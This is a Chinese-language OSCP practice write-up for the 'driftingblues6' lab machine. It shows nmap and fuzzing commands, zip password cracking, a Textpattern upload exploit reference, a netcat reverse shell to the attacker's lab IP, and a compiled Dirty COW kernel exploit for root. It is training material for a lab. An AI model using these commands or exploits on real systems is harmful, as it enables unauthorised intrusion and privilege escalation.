【OSCP】driftingblues6

admin 2024年3月19日11:36:46评论5 views字数 1579阅读5分15秒阅读模式
【OSCP】driftingblues6

OSCP 靶场

【OSCP】driftingblues6

靶场简介

driftingblues6

easy

fuzz测试、wfuzz使用、zip爆破、exp使用、文件上传漏洞利用、脏牛提权

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

这里只有一个端口,那只能怼这个web 服务了。

└─# nmap -sV -A -p- -T4 192.168.1.189
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 04:44 EST
Nmap scan report for 192.168.1.189
Host is up (0.0011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 08:00:27:43:BB:8B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop

【OSCP】driftingblues6

【OSCP】driftingblues6

目录扫描

gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.189 -x php,txt,html -e

【OSCP】driftingblues6

wfuzz -u http://192.168.1.189/FUZZ.zip -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --sc 200,301

【OSCP】driftingblues6

扫描了一下比较有用的目录

192.168.1.189/spammer
http://192.168.1.189/robots
http://192.168.1.189/textpattern/textpattern/

【OSCP】driftingblues6

【OSCP】driftingblues6

【OSCP】driftingblues6

首先使用 zip2john 从 zip 文件创建哈希
zip2john application.zip > hash
然后使用 john 来破解哈希值
john -wordlist= /usr/share/wordlists/rockyou.txt hash

【OSCP】driftingblues6

解压后成功得到一个账号密码,这里没有ssh,那肯定就是web 后台的了。

【OSCP】driftingblues6

【OSCP】driftingblues6

权限获取

【OSCP】driftingblues6

【OSCP】driftingblues6

https://www.exploit-db.com/exploits/48943

这里也可以直接上传webshell文件

【OSCP】driftingblues6

【OSCP】driftingblues6

接下来直接反弹一个shell,然后获取一个交互shell

nc 192.168.1.158 8989 -e /bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
或者
script /dev/null -c bash

Ctrl + Z
stty raw -echo ;fg
stty rows 38 columns 116
export TERM=xterm

【OSCP】driftingblues6

【OSCP】driftingblues6

权限提升

【OSCP】driftingblues6

看到内核版本,可以使用脏牛exp 尝试提权。

https://www.exploit-db.com/exploits/40616

我们开启一个web 服务,然后在靶场上下载。

【OSCP】driftingblues6

 gcc 40616.c -o exp -pthread
chmod +x exp
./exp

【OSCP】driftingblues6

【OSCP】driftingblues6

End

“点赞、在看与分享都是莫大的支持”

【OSCP】driftingblues6

【OSCP】driftingblues6

原文始发于微信公众号(贝雷帽SEC):【OSCP】driftingblues6

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月19日11:36:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP】driftingblues6http://cn-sec.com/archives/2582882.html

发表评论

匿名网友 填写信息